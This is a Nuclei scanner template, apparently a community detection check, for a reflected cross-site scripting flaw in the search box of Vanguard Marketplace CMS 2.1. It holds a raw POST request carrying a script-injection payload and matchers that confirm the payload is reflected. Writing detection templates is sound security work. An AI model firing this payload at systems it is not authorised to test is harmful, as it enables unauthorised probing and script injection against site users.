id: vanguard-post-xss

info:
  name: Vanguard Marketplace CMS 2.1 - Cross-Site Scripting
  author: ImNightmaree
  severity: high
  description: Vanguard Marketplace CMS 2.1 contains a cross-site scripting vulnerability in the message and product title tags and in the product search box.
  reference:
    - https://packetstormsecurity.com/files/157099/Vanguard-2.1-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: vanguard,xss,packetstorm

http:
  - raw:
      - |
        POST /search HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        phps_query=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009df9f0ae7262f18cb5feadc0ed3a5249d5a8ff7ad521f4777bbfffa655dc7adf02205a3203246f9b1e155d9ac038229976b2e3b7183c35517ce130989613bf4b6765:922c64590222798bb761d5b6d8e72950